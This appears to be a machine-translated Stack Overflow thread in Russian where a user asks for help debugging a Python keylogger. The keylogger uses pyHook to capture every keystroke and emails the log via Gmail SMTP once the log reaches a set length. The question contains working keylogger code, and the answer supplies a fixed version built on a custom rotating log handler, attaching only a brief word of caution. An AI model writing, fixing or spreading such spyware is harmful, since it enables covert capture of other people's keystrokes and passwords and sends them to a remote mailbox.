Nano Hash - криптовалюты, майнинг, программирование

регистрация и очистка файла

Я работаю над простым кейлоггером -

import logging, sys, smtplib, pyHook, pythoncom, socket
path = r"C:\Users\Karel\Desktop\log.txt"
logging.basicConfig(filename=path, level=logging.DEBUG, format="%(message)s")
server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login("xxx","xxx")

def OnKeyboardEvent(event):

    print "Key: ", chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    checklog()
    return True

def checklog():
    f = open(path, "r")
    x = f.read()
    if len(x) == 1000:
        server.sendmail("[email protected]", "[email protected]", x)
        f.close()
        f = open(path,"w")
        f.close()



hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Он должен сохранять журналы в файл и отправлять по электронной почте, когда длина файла составляет 1000. Затем журнал очищается, и снова, когда длина составляет 1000, он отправляется по почте и т. Д. Но этот код не работает, файл отправляется на 1000, очищается, но не регистрируется снова . Где проблема? Спасибо

31.07.2012

  • Модуль logging обрабатывает файл по адресу path. Если вы откроете и закроете файл вручную, журналирование будет запутано. 31.07.2012
  • Не помещайте адрес электронной почты и пароль в код. Кстати, мне любопытно, насколько действительны кейлоггеры, которые отправляют свои журналы по электронной почте. 31.07.2012
  • Вы должны изменить свой пароль электронной почты, если он был вашим настоящим. 31.07.2012
  • Вместо этого используйте функцию прокрутки (RotatingFileHandler): обработчики ведения журналов, как выполнять перенос по истечении времени или maxbytes"> stackoverflow.com/questions/6167587/. 31.07.2012
  • И есть ли другой способ исправить это без RotatingFileHandler? 31.07.2012

Ответы:


1

Что-то вроде следующего. Однако хорошенько подумайте, зачем вам вообще нужен кейлоггер. Это не проверено.

from functools import partial
import logging
import logging.handlers
import smtplib
import pyHook
import pythoncom


class EmailingRotatingFileHandler(logging.handlers.RotatingFileHandler):
    def __init__(self, smtp_credentials, **kargs):
        self.smtp_credentials = smtp_credentials
        super(EmailingRotatingFileHandler, self).__init__(**kargs)

    def smtp_connect(self):
        server = smtplib.SMTP("smtp.gmail.com:587")
        server.starttls()
        server.login("", "")
        return server

    def doRollover(self):
        ## Close the stream
        if self.stream:
            self.stream.close()
            self.stream = None

        ## Email the file
        server = self.smtp_connect()

        with open(self.baseFilename, 'r') as logfile:
            contents = logfile.read()
            server.sendmail(self.smtp_credentials[0], self.smtp_credentials[1], contents)

        server.quit()

        ## Proceed with the rollover
        super(EmailingRotatingFileHandler, self).doRollover()


def OnKeyboardEvent(logger, event):
    print "Key: ", chr(event.Ascii)
    logger.info(chr(event.Ascii))
    return True


def main():
    path = r"C:\Users\Karel\Desktop\log.txt"
    smtp_credentials = ("", "")

    ## Set up the logging
    logger = logging.getLogger()
    logger.setLevel(logging.INFO)
    log_handler = EmailingRotatingFileHandler(smtp_credentials, path, maxBytes=1024)
    formatter = logging.Formatter('%(message)s')
    log_handler.setFormatter(formatter)
    logger.addHandler(log_handler)

    ## Configure the event handlers
    hm = pyHook.HookManager()
    hm.KeyDown = partial(OnKeyboardEvent, logger)
    hm.HookKeyboard()
    pythoncom.PumpMessages()


if __name__ == '__main__':
    main()
31.07.2012
  • Роб, пожалуйста, удалите учетные данные для входа в SMTP из своего ответа. 31.07.2012
  • хм, AttributeError: объект «модуль» не имеет атрибута «обработчики». Это странно. 31.07.2012
  • Отредактировано. добавил import logging.handlers 31.07.2012
  • Новые материалы

    Кластеризация: более глубокий взгляд
    Кластеризация — это метод обучения без учителя, в котором мы пытаемся найти группы в наборе данных на основе некоторых известных или неизвестных свойств, которые могут существовать. Независимо от..

    Как написать эффективное резюме
    Предложения по дизайну и макету, чтобы представить себя профессионально Вам не позвонили на собеседование после того, как вы несколько раз подали заявку на работу своей мечты? У вас может..

    Частный метод Python: улучшение инкапсуляции и безопасности
    Введение Python — универсальный и мощный язык программирования, известный своей простотой и удобством использования. Одной из ключевых особенностей, отличающих Python от других языков, является..

    Как я автоматизирую тестирование с помощью Jest
    Шутка для победы, когда дело касается автоматизации тестирования Одной очень важной частью разработки программного обеспечения является автоматизация тестирования, поскольку она создает..

    Работа с векторными символическими архитектурами, часть 4 (искусственный интеллект)
    Hyperseed: неконтролируемое обучение с векторными символическими архитектурами (arXiv) Автор: Евгений Осипов , Сачин Кахавала , Диланта Хапутантри , Тимал Кемпития , Дасвин Де Сильва ,..

    Понимание расстояния Вассерштейна: мощная метрика в машинном обучении
    В обширной области машинного обучения часто возникает необходимость сравнивать и измерять различия между распределениями вероятностей. Традиционные метрики расстояния, такие как евклидово..

    Обеспечение масштабируемости LLM: облачный анализ с помощью AWS Fargate и Copilot
    В динамичной области искусственного интеллекта все большее распространение получают модели больших языков (LLM). Они жизненно важны для различных приложений, таких как интеллектуальные..